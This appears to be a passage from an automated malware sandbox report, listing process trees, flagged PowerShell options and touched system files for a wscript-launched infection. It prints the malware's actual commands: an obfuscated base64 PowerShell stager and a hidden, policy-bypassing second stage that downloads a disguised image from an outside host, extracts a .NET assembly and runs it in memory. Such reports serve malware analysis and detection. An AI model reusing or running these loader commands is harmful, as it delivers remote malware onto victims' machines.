BlagAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBjagAcxyçHUagAcxyçJwagAcxyçpagAcxyçCkagAcxyç';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('agAcxyç','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
parent_process | wscript.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVQByagAcxyçGwagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwBoagAcxyçHQagAcxyçdagAcxyçBwagAcxyçHMagAcxyçOgagAcxyçvagAcxyçC8agAcxyçdQBwagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZagAcxyçBlagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBuagAcxyçHMagAcxyçLgBjagAcxyçG8agAcxyçbQagAcxyçuagAcxyçGIagAcxyçcgagAcxyçvagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBzagAcxyçC8agAcxyçMagAcxyçagAcxyçwagAcxyçDQagAcxyçLwagAcxyç2agAcxyçDQagAcxyçNagAcxyçagAcxyçvagAcxyçDcagAcxyçNagAcxyçagAcxyç5agAcxyçC8agAcxyçbwByagAcxyçGkagAcxyçZwBpagAcxyçG4agAcxyçYQBsagAcxyçC8agAcxyçbgBlagAcxyçHcagAcxyçXwBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçLgBqagAcxyçHagAcxyçagAcxyçZwagAcxyç/agAcxyçDEagAcxyçNgagAcxyç5agAcxyçDgagAcxyçMagAcxyçagAcxyç4agAcxyçDQagAcxyçNQagAcxyçyagAcxyçDMagAcxyçJwagAcxyç7agAcxyçCQagAcxyçdwBlagAcxyçGIagAcxyçQwBsagAcxyçGkagAcxyçZQBuagAcxyçHQagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçTgBlagAcxyçHcagAcxyçLQBPagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçagAcxyçgagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçTgBlagAcxyçHQagAcxyçLgBXagAcxyçGUagAcxyçYgBDagAcxyçGwagAcxyçaQBlagAcxyçG4agAcxyçdagAcxyçagAcxyç7agAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçHcagAcxyçZQBiagAcxyçEMagAcxyçbagAcxyçBpagAcxyçGUagAcxyçbgB0agAcxyçC4agAcxyçRagAcxyçBvagAcxyçHcagAcxyçbgBsagAcxyçG8agAcxyçYQBkagAcxyçEQagAcxyçYQB0agAcxyçGEagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBVagAcxyçHIagAcxyçbagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçuagAcxyçEUagAcxyçbgBjagAcxyçG8agAcxyçZagAcxyçBpagAcxyçG4agAcxyçZwBdagAcxyçDoagAcxyçOgBVagAcxyçFQagAcxyçRgagAcxyç4agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçUwB0agAcxyçHIagAcxyçaQBuagAcxyçGcagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBCagAcxyçHkagAcxyçdagAcxyçBlagAcxyçHMagAcxyçKQagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBTagAcxyçFQagAcxyçQQBSagAcxyçFQagAcxyçPgagAcxyç+agAcxyçCcagAcxyçOwagAcxyçkagAcxyçGUagAcxyçbgBkagAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBFagAcxyçE4agAcxyçRagAcxyçagAcxyç+agAcxyçD4agAcxyçJwagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBUagAcxyçGUagAcxyçeagAcxyçB0agAcxyçC4agAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçE8agAcxyçZgagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçKQagAcxyç7agAcxyçCQagAcxyçZQBuagAcxyçGQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçTwBmagAcxyçCgagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBGagAcxyçGwagAcxyçYQBnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçHMagAcxyçdagAcxyçBhagAcxyçHIagAcxyçdagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçZQagAcxyçgagAcxyçDagAcxyçagAcxyçIagAcxyçagAcxyçtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçdagAcxyçagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçCsagAcxyçPQagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçLgBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyç7agAcxyçCQagAcxyçYgBhagAcxyçHMagAcxyçZQagAcxyç2agAcxyçDQagAcxyçTagAcxyçBlagAcxyçG4agAcxyçZwB0agAcxyçGgagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçCagAcxyçagAcxyçJagAcxyçBzagAcxyçHQagAcxyçYQByagAcxyçHQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçDsagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBTagAcxyçHUagAcxyçYgBzagAcxyçHQagAcxyçcgBpagAcxyçG4agAcxyçZwagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçQwBvagAcxyçG4agAcxyçdgBlagAcxyçHIagAcxyçdagAcxyçBdagAcxyçDoagAcxyçOgBGagAcxyçHIagAcxyçbwBtagAcxyçEIagAcxyçYQBzagAcxyçGUagAcxyçNgagAcxyç0agAcxyçFMagAcxyçdagAcxyçByagAcxyçGkagAcxyçbgBnagAcxyçCgagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCkagAcxyçOwagAcxyçkagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZQBkagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçUgBlagAcxyçGYagAcxyçbagAcxyçBlagAcxyçGMagAcxyçdagAcxyçBpagAcxyçG8agAcxyçbgagAcxyçuagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQBdagAcxyçDoagAcxyçOgBMagAcxyçG8agAcxyçYQBkagAcxyçCgagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçpagAcxyçDsagAcxyçJagAcxyçB0agAcxyçHkagAcxyçcagAcxyçBlagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçbagAcxyçBvagAcxyçGEagAcxyçZagAcxyçBlagAcxyçGQagAcxyçQQBzagAcxyçHMagAcxyçZQBtagAcxyçGIagAcxyçbagAcxyçB5agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçVagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçoagAcxyçCcagAcxyçRgBpagAcxyçGIagAcxyçZQByagAcxyçC4agAcxyçSagAcxyçBvagAcxyçG0agAcxyçZQagAcxyçnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçG0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçdagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçuagAcxyçEcagAcxyçZQB0agAcxyçE0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCgagAcxyçJwBWagAcxyçEEagAcxyçSQagAcxyçnagAcxyçCkagAcxyçLgBJagAcxyçG4agAcxyçdgBvagAcxyçGsagAcxyçZQagAcxyçoagAcxyçCQagAcxyçbgB1agAcxyçGwagAcxyçbagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçWwBvagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçBbagAcxyçF0agAcxyçXQagAcxyçgagAcxyçCgagAcxyçJwBkagAcxyçEgagAcxyçaagAcxyçagAcxyçwagAcxyçEwagAcxyçagBRagAcxyçDIagAcxyçWgBYagAcxyçE4agAcxyçaagAcxyçBZagAcxyçG0agAcxyçVgBzagAcxyçGEagAcxyçVwBaagAcxyçGsagAcxyçWgBYagAcxyçFIagAcxyçaagAcxyçBaagAcxyçEgagAcxyçQgagAcxyçxagAcxyçFoagAcxyçRwBsagAcxyçHYagAcxyçYwBtagAcxyçFIagAcxyçawBaagAcxyçFcagAcxyçMQB0agAcxyçFkagAcxyçVwBoagAcxyçHYagAcxyçYgBTagAcxyçDgagAcxyçMagAcxyçBOagAcxyçHoagAcxyçRQB1agAcxyçE4agAcxyçegBNagAcxyçHUagAcxyçTgBEagAcxyçFUagAcxyçeQBMagAcxyçGoagAcxyçVQagAcxyç0agAcxyçE0agAcxyçUwagAcxyç4agAcxyçHYagAcxyçTwBuagAcxyçEIagAcxyçMagAcxyçBkagAcxyçEcagAcxyçZwagAcxyç9agAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBkagAcxyçGYagAcxyçZagAcxyçBmagAcxyçGQagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçYQBkagAcxyçHMagAcxyçYQagAcxyçnagAcxyçCagAcxyçagAcxyçLagAcxyçagAcxyçgagAcxyçCcagAcxyçZagAcxyçBlagAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBjagAcxyçHUagAcxyçJwagAcxyçpagAcxyçCkagAcxyç';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('agAcxyç','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
parent_process | powershell.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYmVsaWZkZXRhZHB1ZGlvcmRkZW1tYWhvbS80NzEuNzMuNDUyLjU4MS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" |
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window |
file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
file | C:\Windows\System32\ie4uinit.exe |
file | C:\Program Files\Windows Sidebar\sidebar.exe |
file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
file | C:\Windows\System32\xpsrchvw.exe |
file | C:\Windows\System32\displayswitch.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
file | C:\Windows\System32\mblctr.exe |
file | C:\Windows\System32\mstsc.exe |
file | C:\Windows\System32\SnippingTool.exe |
file | C:\Windows\System32\SoundRecorder.exe |
file | C:\Windows\System32\dfrgui.exe |
file | C:\Windows\System32\msinfo32.exe |
file | C:\Windows\System32\rstrui.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
file | C:\Program Files\Windows Journal\Journal.exe |
file | C:\Windows\System32\MdSched.exe |
file | C:\Windows\System32\msconfig.exe |
file | C:\Windows\System32\recdisc.exe |
file | C:\Windows\System32\msra.exe |